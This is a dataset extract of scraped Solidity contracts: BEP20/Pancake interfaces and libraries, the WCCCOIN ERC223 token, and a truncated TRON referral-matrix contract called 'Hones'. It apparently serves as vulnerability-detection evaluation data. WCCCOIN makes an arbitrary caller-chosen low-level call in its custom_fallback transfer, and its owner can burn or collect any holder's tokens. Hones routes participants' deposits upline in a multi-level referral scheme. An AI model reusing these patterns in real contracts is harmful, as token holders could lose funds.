hash
stringlengths 64
64
| size
int64 7k
624k
| ext
stringclasses 1
value | lang
stringclasses 1
value | is_test
bool 2
classes | repo_id
stringclasses 846
values | repo_name
stringclasses 846
values | repo_head
stringclasses 846
values | repo_path
stringlengths 7
155
| content_tokens
int64 1.82k
42.6k
| content_chars
int64 6.85k
58.7k
| content
stringlengths 6.85k
58.7k
| __index_level_0__
int64 84
346k
| id
int64 0
14.2k
|
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
5b79f33de98114e3e7529bee2f3b118ccb4a079778127467dd260345f8d1ab44
| 26,094 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x6EBF07C9f262C567944397E1234D94Ba9b2541cf/Libraries.sol
| 3,980 | 17,185 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
interface IBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IPancakeERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
}
abstract contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = msg.sender;
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
interface IPancakeFactory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IPancakeRouter01 {
function addLiquidity(address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB);
function removeLiquidityETH(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external returns (uint[] memory amounts);
function swapTokensForExactTokens(uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function factory() external pure returns (address);
function WETH() external pure returns (address);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getamountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getamountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getamountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getamountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IPancakeRouter02 is IPancakeRouter01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
}
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
// AddressSet
struct AddressSet {
Set _inner;
}
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
// UintSet
struct UintSet {
Set _inner;
}
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
| 248,760 | 13,200 |
0daed125df13281d401e49bdebd21c44de1258363bcc5874cd5b96a4b13be71d
| 14,667 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x373ad45763e2d30a67af55e15855256df7049c1a.sol
| 3,061 | 11,799 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC223 {
uint public totalSupply;
// ERC223 functions
function name() public view returns (string _name);
function symbol() public view returns (string _symbol);
function decimals() public view returns (uint8 _decimals);
function totalSupply() public view returns (uint256 _supply);
function balanceOf(address who) public view returns (uint);
// ERC223 functions and events
function transfer(address to, uint value) public returns (bool ok);
function transfer(address to, uint value, bytes data) public returns (bool ok);
function transfer(address to, uint value, bytes data, string custom_fallback) public returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value, bytes indexed data);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
}
contract ContractReceiver {
struct TKN {
address sender;
uint value;
bytes data;
bytes4 sig;
}
function tokenFallback(address _from, uint _value, bytes _data) public pure {
TKN memory tkn;
tkn.sender = _from;
tkn.value = _value;
tkn.data = _data;
uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24);
tkn.sig = bytes4(u);
}
}
contract WCCCOIN is ERC223, Ownable {
using SafeMath for uint256;
string public name = "WCCCOIN";
string public symbol = "WCC";
uint8 public decimals = 8;
uint256 public initialSupply = 30e9 * 1e8;
uint256 public totalSupply;
uint256 public distributeAmount = 0;
bool public mintingFinished = false;
mapping (address => uint) balances;
mapping (address => bool) public frozenAccount;
mapping (address => uint256) public unlockUnixTime;
event FrozenFunds(address indexed target, bool frozen);
event LockedFunds(address indexed target, uint256 locked);
event Burn(address indexed burner, uint256 value);
event Mint(address indexed to, uint256 amount);
event MintFinished();
function WCCCOIN() public {
totalSupply = initialSupply;
balances[msg.sender] = totalSupply;
}
function name() public view returns (string _name) {
return name;
}
function symbol() public view returns (string _symbol) {
return symbol;
}
function decimals() public view returns (uint8 _decimals) {
return decimals;
}
function totalSupply() public view returns (uint256 _totalSupply) {
return totalSupply;
}
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
modifier onlyPayloadSize(uint256 size){
assert(msg.data.length >= size + 4);
_;
}
function freezeAccounts(address[] targets, bool isFrozen) onlyOwner public {
require(targets.length > 0);
for (uint i = 0; i < targets.length; i++) {
require(targets[i] != 0x0);
frozenAccount[targets[i]] = isFrozen;
FrozenFunds(targets[i], isFrozen);
}
}
function lockupAccounts(address[] targets, uint[] unixTimes) onlyOwner public {
require(targets.length > 0
&& targets.length == unixTimes.length);
for(uint i = 0; i < targets.length; i++){
require(unlockUnixTime[targets[i]] < unixTimes[i]);
unlockUnixTime[targets[i]] = unixTimes[i];
LockedFunds(targets[i], unixTimes[i]);
}
}
// Function that is called when a user or another contract wants to transfer funds .
function transfer(address _to, uint _value, bytes _data, string _custom_fallback) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
if(isContract(_to)) {
if (balanceOf(msg.sender) < _value) revert();
balances[msg.sender] = SafeMath.sub(balanceOf(msg.sender), _value);
balances[_to] = SafeMath.add(balanceOf(_to), _value);
assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data));
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
else {
return transferToAddress(_to, _value, _data);
}
}
// Function that is called when a user or another contract wants to transfer funds .
function transfer(address _to, uint _value, bytes _data) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
if(isContract(_to)) {
return transferToContract(_to, _value, _data);
}
else {
return transferToAddress(_to, _value, _data);
}
}
// Standard function transfer similar to ERC20 transfer with no _data .
// Added due to backwards compatibility reasons .
function transfer(address _to, uint _value) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
//standard function transfer similar to ERC20 transfer with no _data
//added due to backwards compatibility reasons
bytes memory empty;
if(isContract(_to)) {
return transferToContract(_to, _value, empty);
}
else {
return transferToAddress(_to, _value, empty);
}
}
// assemble the given address bytecode. If bytecode exists then the _addr is a contract.
function isContract(address _addr) private view returns (bool is_contract) {
uint length;
assembly {
// retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
return (length>0);
}
// function that is called when transaction target is an address
function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) {
if (balanceOf(msg.sender) < _value) revert();
balances[msg.sender] = SafeMath.sub(balanceOf(msg.sender), _value);
balances[_to] = SafeMath.add(balanceOf(_to), _value);
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
//function that is called when transaction target is a contract
function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) {
if (balanceOf(msg.sender) < _value) revert();
balances[msg.sender] = SafeMath.sub(balanceOf(msg.sender), _value);
balances[_to] = SafeMath.add(balanceOf(_to), _value);
ContractReceiver receiver = ContractReceiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
function burn(address _from, uint256 _unitAmount) onlyOwner public {
require(_unitAmount > 0
&& balanceOf(_from) >= _unitAmount);
balances[_from] = SafeMath.sub(balances[_from], _unitAmount);
totalSupply = SafeMath.sub(totalSupply, _unitAmount);
Burn(_from, _unitAmount);
}
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _unitAmount) onlyOwner canMint public returns (bool) {
require(_unitAmount > 0);
totalSupply = SafeMath.add(totalSupply, _unitAmount);
balances[_to] = SafeMath.add(balances[_to], _unitAmount);
Mint(_to, _unitAmount);
Transfer(address(0), _to, _unitAmount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
function distributeAirdrop(address[] addresses, uint256 amount) public returns (bool) {
require(amount > 0
&& addresses.length > 0
&& frozenAccount[msg.sender] == false
&& now > unlockUnixTime[msg.sender]);
amount = SafeMath.mul(amount, 1e8);
uint256 totalAmount = SafeMath.mul(amount, addresses.length);
require(balances[msg.sender] >= totalAmount);
for (uint i = 0; i < addresses.length; i++) {
require(addresses[i] != 0x0
&& frozenAccount[addresses[i]] == false
&& now > unlockUnixTime[addresses[i]]);
balances[addresses[i]] = SafeMath.add(balances[addresses[i]], amount);
Transfer(msg.sender, addresses[i], amount);
}
balances[msg.sender] = SafeMath.sub(balances[msg.sender], totalAmount);
return true;
}
function collectTokens(address[] addresses, uint[] amounts) onlyOwner public returns (bool) {
require(addresses.length > 0
&& addresses.length == amounts.length);
uint256 totalAmount = 0;
for (uint i = 0; i < addresses.length; i++) {
require(amounts[i] > 0
&& addresses[i] != 0x0
&& frozenAccount[addresses[i]] == false
&& now > unlockUnixTime[addresses[i]]);
amounts[i] = SafeMath.mul(amounts[i], 1e8);
require(balances[addresses[i]] >= amounts[i]);
balances[addresses[i]] = SafeMath.sub(balances[addresses[i]], amounts[i]);
totalAmount = SafeMath.add(totalAmount, amounts[i]);
Transfer(addresses[i], msg.sender, amounts[i]);
}
balances[msg.sender] = SafeMath.add(balances[msg.sender], totalAmount);
return true;
}
function setDistributeAmount(uint256 _unitAmount) onlyOwner public {
distributeAmount = _unitAmount;
}
function autoDistribute() payable public {
require(distributeAmount > 0
&& balanceOf(owner) >= distributeAmount
&& frozenAccount[msg.sender] == false
&& now > unlockUnixTime[msg.sender]);
if (msg.value > 0) owner.transfer(msg.value);
balances[owner] = SafeMath.sub(balances[owner], distributeAmount);
balances[msg.sender] = SafeMath.add(balances[msg.sender], distributeAmount);
Transfer(owner, msg.sender, distributeAmount);
}
function() payable public {
autoDistribute();
}
}
| 188,822 | 13,201 |
d99c9c0329cb2534ec76cbe9270f3744b93198e2b709335e2b7bfa2bccab2d41
| 24,692 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TP/TPJT5aSar4sBhRDYw99G4NFmQY4xmYonUM_Hones.sol
| 6,001 | 23,435 |
//SourceUnit: hones.sol
pragma solidity >=0.4.23 <0.6.0;
contract Hones {
struct User {
uint id;
address referrer;
mapping(uint8 => bool) activeX3Levels;
mapping(uint8 => bool) activeX6Levels;
mapping(uint8 => X3) x3Matrix;
mapping(uint8 => X6) x6Matrix;
}
struct X3 {
address currentReferrer;
address[] referrals;
}
struct X6 {
address currentReferrer;
address[] firstLevelReferrals;
address[] secondLevelReferrals;
address closedPart;
}
struct defishare{
address currentAddress;
uint8 level;
}
struct wildcard{
address currentAddress;
uint8 remainingWildcard;
}
uint8 public constant LAST_LEVEL = 12;
mapping(address => User) public users;
mapping(uint => address) public idToAddress;
mapping(uint => address) public userIds;
mapping(address => uint) public balances;
uint16 internal constant LEVEL_PER = 2000;
uint16 internal constant LEVEL_DIVISOR = 10000;
defishare[] defishares;
wildcard[] wildcards;
uint256 public totalDefishare;
uint256 public totalWildcard;
uint public lastUserId = 2;
address public owner;
mapping(uint8 => uint) public levelPrice;
uint8 public constant levelIncome = 10;
event Registration(address indexed user, address indexed referrer, uint indexed userId, uint referrerId);
event Reinvest(address indexed user, address indexed currentReferrer, address indexed caller, uint8 matrix, uint8 level);
event Upgrade(address indexed user, address indexed referrer, uint8 matrix, uint8 level);
event NewUserPlace(address indexed user, address indexed referrer, uint8 matrix, uint8 level, uint8 place);
event BuyDefishare(address indexed userAddress, uint8 level);
event WildCard(address indexed user, address indexed currentReferrer, address indexed caller, uint8 matrix, uint8 level);
event SentDividends(address _from, address user, uint8 matrix, uint256 amount);
event SentLevelincome(address indexed from,uint indexed fromId, address receiver,uint indexed receiverId, uint8 matrix, uint8 level,uint8 networklevel);
constructor(address ownerAddress) public {
levelPrice[1] = 100 * 1e6;
for (uint8 i = 2; i <= LAST_LEVEL; i++) {
levelPrice[i] = levelPrice[i-1] * 2;
}
owner = ownerAddress;
User memory user = User({
id: 1,
referrer: address(0)
});
users[ownerAddress] = user;
idToAddress[1] = ownerAddress;
for (uint8 i = 1; i <= LAST_LEVEL; i++) {
users[ownerAddress].activeX3Levels[i] = true;
users[ownerAddress].activeX6Levels[i] = true;
}
userIds[1] = ownerAddress;
totalDefishare = 0;
totalWildcard = 0;
}
function() external payable {
if(msg.data.length == 0) {
return registration(msg.sender, owner);
}
registration(msg.sender, bytesToAddress(msg.data));
}
function registrationExt(address referrerAddress) external payable {
registration(msg.sender, referrerAddress);
}
function registrationWildcard(address userAddress, address referrerAddress) external payable {
registration(userAddress, referrerAddress);
}
function insertDefishare(address currentAddress, uint8 level) private{
defishare memory newDefishare = defishare(currentAddress , level);
defishares.push(newDefishare);
totalDefishare++;
}
function insertWildcard(address currentAddress, uint8 remainingWildcard) private{
wildcard memory newWildcard = wildcard(currentAddress , remainingWildcard);
wildcards.push(newWildcard);
}
function buyDefishare(uint8 level) external payable{
require(isUserExists(msg.sender), "user is not exists. Register first.");
require(msg.value == levelPrice[level], "invalid price");
require(level > 0 && level <= LAST_LEVEL, "invalid level");
sendDefishareTRON(msg.sender, level);
insertDefishare(msg.sender, level);
}
function updateWildcard(address currentAddress, uint8 NewremainingWildcard) private returns (bool success){
for(uint256 i =0; i< totalWildcard; i++){
if(wildcards[i].currentAddress == currentAddress){
wildcards[i].remainingWildcard = NewremainingWildcard;
return true;
}
}
return false;
}
function getWildcard(address currentAddress) public view returns(uint8 remainingWildcard){
for(uint256 i =0; i< totalWildcard; i++){
if(wildcards[i].currentAddress == currentAddress){
return (wildcards[i].remainingWildcard);
}
}
return 4;
}
function getTotalDefishare() public view returns (uint256 length){
return defishares.length;
}
function buyNewLevel(uint8 matrix, uint8 level) external payable {
require(isUserExists(msg.sender), "user is not exists. Register first.");
require(matrix == 1 || matrix == 2, "invalid matrix");
require(msg.value == levelPrice[level], "invalid price");
require(level > 1 && level <= LAST_LEVEL, "invalid level");
if (matrix == 1) {
require(!users[msg.sender].activeX3Levels[level], "level already activated");
address freeX3Referrer = findFreeX3Referrer(msg.sender, level);
users[msg.sender].x3Matrix[level].currentReferrer = freeX3Referrer;
users[msg.sender].activeX3Levels[level] = true;
updateX3Referrer(msg.sender, freeX3Referrer, level);
emit Upgrade(msg.sender, freeX3Referrer, 1, level);
} else {
require(!users[msg.sender].activeX6Levels[level], "level already activated");
address freeX6Referrer = findFreeX6Referrer(msg.sender, level);
users[msg.sender].activeX6Levels[level] = true;
updateX6Referrer(msg.sender, freeX6Referrer, level, true);
emit Upgrade(msg.sender, freeX6Referrer, 2, level);
}
}
function doWildcard(address userAddress, address referrerAddress, uint8 matrix, uint8 level) external payable{
uint8 remaingwc = getWildcard(msg.sender);
uint8 newwildcard = 0;
uint8 checkLevel = level-1;
require(remaingwc>0, "All Wildcards used");
require(isUserExists(userAddress), "user is not exists. Register first.");
require(matrix == 1 || matrix == 2, "invalid matrix");
require(msg.value == levelPrice[level], "invalid price");
require(level > 1 && level <= LAST_LEVEL, "invalid level");
//if remainingWildcard is 4
if(remaingwc == 4){
require(usersActiveX3Levels(msg.sender, 3), "Atleast 3 level should be activated to use Wildcards");
newwildcard = 3;
}else if(remaingwc == 3){
require(usersActiveX3Levels(msg.sender, 3), "Atleast 6 level should be activated to use Wildcards");
newwildcard = 2;
}else if(remaingwc == 2){
require(usersActiveX3Levels(msg.sender, 3), "Atleast 9 level should be activated to use Wildcards");
newwildcard = 1;
}else if(remaingwc == 1){
require(usersActiveX3Levels(msg.sender, 3), "Atleast 12 level should be activated to use Wildcards");
newwildcard = 0;
}else{
require(usersActiveX3Levels(msg.sender, 3), "All Wildcards Used");
}
if(matrix == 1){
require(users[userAddress].activeX3Levels[checkLevel], "invalid user. please upgrade user.");
if(!users[userAddress].activeX3Levels[level]){
users[userAddress].activeX3Levels[level] = true;
emit Upgrade(userAddress, referrerAddress, 1, level);
}
updateX3Referrer(userAddress, referrerAddress, level);
}else{
require(users[userAddress].activeX6Levels[checkLevel], "invalid user. please upgrade user.");
if(!users[userAddress].activeX6Levels[level]){
users[userAddress].activeX6Levels[level] = true;
emit Upgrade(userAddress, referrerAddress, 2, level);
}
updateX6Referrer(userAddress, referrerAddress, level, true);
}
updateWildcard(msg.sender, newwildcard);
totalWildcard++;
emit WildCard(userAddress, referrerAddress, msg.sender, matrix, level);
}
function registration(address userAddress, address referrerAddress) private{
require(msg.value == 300 * 1e6, "registration cost 300 trx");
require(!isUserExists(userAddress), "user exists");
require(isUserExists(referrerAddress), "referrer not exists");
uint32 size;
assembly {
size := extcodesize(userAddress)
}
require(size == 0, "cannot be a contract");
User memory user = User({
id: lastUserId,
referrer: referrerAddress
});
users[userAddress] = user;
idToAddress[lastUserId] = userAddress;
users[userAddress].referrer = referrerAddress;
users[userAddress].activeX3Levels[1] = true;
users[userAddress].activeX6Levels[1] = true;
userIds[lastUserId] = userAddress;
lastUserId++;
address freeX3Referrer = findFreeX3Referrer(userAddress, 1);
users[userAddress].x3Matrix[1].currentReferrer = freeX3Referrer;
updateX3Referrer(userAddress, freeX3Referrer, 1);
updateX6Referrer(userAddress, findFreeX6Referrer(userAddress, 1), 1, true);
insertDefishare(userAddress, 1);
insertWildcard(userAddress, 4);
address(uint160(owner)).transfer(levelPrice[1]);
emit BuyDefishare(msg.sender, 1);
emit Registration(userAddress, referrerAddress, users[userAddress].id, users[referrerAddress].id);
}
function updateX3Referrer(address userAddress, address referrerAddress, uint8 level) private {
users[referrerAddress].x3Matrix[level].referrals.push(userAddress);
if (users[referrerAddress].x3Matrix[level].referrals.length < 3) {
emit NewUserPlace(userAddress, referrerAddress, 1, level, uint8(users[referrerAddress].x3Matrix[level].referrals.length));
return sendTRONDividends(userAddress, referrerAddress, 1, level);
}
emit NewUserPlace(userAddress, referrerAddress, 1, level, 3);
//close matrix
users[referrerAddress].x3Matrix[level].referrals = new address[](0);
//create new one by recursion
if (referrerAddress != owner) {
//check referrer active level
address freeReferrerAddress = findFreeX3Referrer(referrerAddress, level);
if (users[referrerAddress].x3Matrix[level].currentReferrer != freeReferrerAddress) {
users[referrerAddress].x3Matrix[level].currentReferrer = freeReferrerAddress;
}
emit Reinvest(referrerAddress, freeReferrerAddress, userAddress, 1, level);
updateX3Referrer(referrerAddress, freeReferrerAddress, level);
} else {
sendTRONDividends(userAddress, owner, 1, level);
emit Reinvest(owner, address(0), userAddress, 1, level);
}
}
function updateX6Referrer(address userAddress, address referrerAddress, uint8 level, bool sendtron) private {
require(users[referrerAddress].activeX6Levels[level], "500. Referrer level is inactive");
if (users[referrerAddress].x6Matrix[level].firstLevelReferrals.length < 2) {
